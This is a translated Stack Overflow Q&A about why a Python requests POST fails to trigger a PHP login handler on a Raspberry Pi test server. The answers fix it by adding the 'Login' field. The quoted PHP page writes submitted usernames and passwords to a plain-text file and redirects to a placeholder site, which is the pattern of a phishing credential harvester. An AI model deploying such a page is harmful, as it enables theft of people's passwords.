我想尝试将登录详细信息从Python脚本发送到一个需要用户名和密码才能访问主站点的网页。
通过在我的Raspberry Pi上安装带有PHP的Apache服务器,我已经建立了一个测试环境。
我搜索了堆栈溢出,并从名为Genetics的用户那里找到了以下脚本:
login.html
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>login.php
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);
} ?>
//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
</body>
</html>我在/var/www/html目录中的Pi上创建了这些文件以及一个log.txt文件。当将详细信息输入到login.html页面时,它们将保存到log.txt文件中,并且所有操作都按预期进行。
我想要做的是运行Python 3脚本,输入这些细节,而不必真正通过浏览器访问页面。经过进一步研究,我找到了以下脚本,并将其更改为访问Pi上的php页面:
import requests
url = 'http://192.168.0.23/login.php'
username = 'admin'
password = 'letmein'
r = requests.post(url, allow_redirects=False, data={
'username': username,
'password': password
})我运行这个脚本,它不会显示任何错误,但是脚本中的登录凭据不会被写入log.txt文件中。
这是php页面的头文件:
General:
Request URL: http://192.168.0.23/login.php
Request Method: POST
Status Code: 200 OK
Remote Address: 192.168.0.23:80
Referrer Policy: no-referrer-when-downgrade
Response Headers:
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 135
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Nov 2018 22:01:13 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.10 (Raspbian)
Vary: Accept-Encoding
Request Headers:
POST /login.php HTTP/1.1
Host: 192.168.0.23
Connection: keep-alive
Content-Length: 41
Cache-Control: max-age=0
Origin: http://192.168.0.23
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.0.23/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Form Data:
username: admin
password: letmein
Login: Login有人能帮我告诉我如何让它像我期望的那样起作用吗?
任何帮助都很感激。
发布于 2018-11-12 19:58:17
由于您期望设置$_POST['Login']来触发您的代码,因此您必须提供一个值才能使其工作。将'Login': true添加到您的requests.post data中,ti将非常有用。
发布于 2018-11-12 19:51:31
经过多次尝试和失败,事实证明问题是我发送了用户名和密码,但没有参数的登录按钮。
正确的代码是:
import requests
url = 'http://192.168.0.23/login.php'
username = 'admin'
password = 'letmein'
Login = 'Login'
r = requests.post(url, allow_redirects=False, data={
'username': username,
'password': password,
'Login': Login
})第二种解决办法是:
import requests
headers = {'User-Agent': 'Mozilla/5.0'}
payload = {'username':'Admin','password':'Letmein','Login':'Login'}
session = requests.Session()
session.post('http://192.168.0.23/login.php',headers=headers,data=payload)https://stackoverflow.com/questions/53243990
复制相似问题